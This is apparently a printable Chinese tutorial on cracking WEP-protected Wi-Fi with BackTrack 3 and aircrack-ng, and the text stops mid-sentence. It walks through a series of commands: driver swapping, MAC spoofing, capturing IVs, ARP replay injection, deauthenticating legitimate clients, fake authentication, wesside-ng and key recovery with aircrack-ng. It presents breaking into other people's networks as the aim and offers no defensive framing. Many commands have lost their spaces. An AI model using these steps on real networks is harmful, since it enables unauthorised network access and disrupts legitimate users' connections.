BT3无线密码无线由破解教程(打印版).docxVIP

开放式WEP破解1．装备：IMBX60笔记本（内置Intel3945无线网卡）、BT3的U盘系统（需用syslinux命令来指定启动BT3的盘符）2．用户名：root密码：toor，进入图形界面：startx。启动BT3后,(启动黑屏：xconf再输入startx)3．加载3945网卡的驱动。打开一个shell输入modprobe–riwl3945 卸载原来的网卡驱动输入modprobeipwraw 加载可监听的网卡驱动注：不同的网卡有不同的加载方式LINUX驱动是通过模块进行加载的，可以用lsmod来查看机器已加载的模块然后可以通过modinfoipwraw（模块名）来查看所加载驱动模块的版本信息最新的ipwraw的版本是ipwraw-ng-2.3.4tar.bz2的。最新的版本需要设置rate为1M设置命令为iwconfigwifi0rate1M这个版本的驱动支持3945无线网卡发射功率得设置，命令如下iwconfigwifi0txpower16（TXPOWER是你想设置的值min=-12andmax=16，单位为dBm）参数on/off可以打开和关闭发射单元，auto和fixed指定无线是否自动选择发射功率。注：降低连接速率可提高建立虚拟连接的成功率和稳定性，提高发射功率可增加发射距离。4．查找目标：可以用airodump-ngwifi0来搜索注：通过扫描获得你要破解的AP的MAC和SSID还有是否有客户端等信息。记录下这些信息后，请关闭此窗口。不然会出现后面建立虚拟连接时信道一直在跳转的情况。我们选择第一个作为目标，channel为11（上图中的CH代表信道）。注：修改自己网卡的MAC地址的命令。输入macchanger –m 00:11:22:33:44:55 wifi05．激活网卡的Monitor模式并工作在11信道。（加载网卡，激活监听模式，工作在11信道）输入airmon-ngstartwifi011也可用iwconfiwifi0来查看网卡的工作模式和工作信道。可用aireplay-ng-9wifi0测试注入6．输入截取数据包命令（截取11信道的ivs数据包，并保存名为name.ivs）输入命令 airodump-ng--ivs-wname-c11wifi0 ，（--ivs：仅截取ivs数据包，-w：写入文件，-c：截取ivs的信道）（其中name是获取的ivs的保存文件的名字，11是channel值，你根据实际修改）一.有客户端WEP破解1．有客户端，且合法客户端产生大量有效的数据，能直接获得大量IVS。思路：1-6步同上7．直接用aircrack-ng破解第七步：aircrack-ng-n64-bapmacname-01.ivs2．有客户端，合法客户端只能产生少量ivs数据，就需要注入攻击加速产生大量ivs。只要有少量的数据就可能获得arp请求包，则可用arp注入模式的-3模式通过不断向AP发送同样的arp请求包，来进行注入式攻击。思路：1-6步同上7．用aireplay-ng的arp注入方式获得大量的ivs第七步：aireplay-ng-3-bapmac-h合法客户端macwifi0注：这一步可能时间会长一点，因为需要等到ARP。3．有客户端，但是客户端根本不在通信，不能产生ARP包。-3注入模式不成功思路：1-6步同上7．-0冲突模式强制断开合法客户端和ap连接，使之重新连接8．利用-0冲突模式重新连接所产生的握手数据让-3获得有效的ARP从而完成ARP注入第七步：aireplay-ng-3-bapmac-h合法客户端macwifi0第八步：aireplay-ng-010–aapmac-c合法客户端macwifi04．有客户端，并且客户端能产生有效arp数据的另类破解方式前面的步骤一样：输入modprobe–riwl3945输入modprobeipwraw输入airmon-ngstartwifi011现在，只要一个命令就搞定，输入:输入wesside-ng-iwifi0-v01:02:03:04:05:06(此格式的APMAC)。Wesside-ng这个命令其实就是一个-5碎片注入，fragmentation构造注入包，-3arp注入，最后PTW破解这样一个思路。二．无客户端开放式WEP破解思路：1-6步同上因为是无客户端，所以第一步就需要和AP之间建立一个虚拟连接。这是非常关键的一步。为让AP接受数据包，必须使自己的网卡和AP关联。如果没有关联的话，目标AP将忽略所有从你网卡发送的数据包，IVS数据将不会产生。第七步：输入 aireplay-ng-10-eapessid-aapmac-hmacwifi0如果回显虚拟伪装连接不成功，不能成功的原因很多，具体有如下几种：1、目标AP做了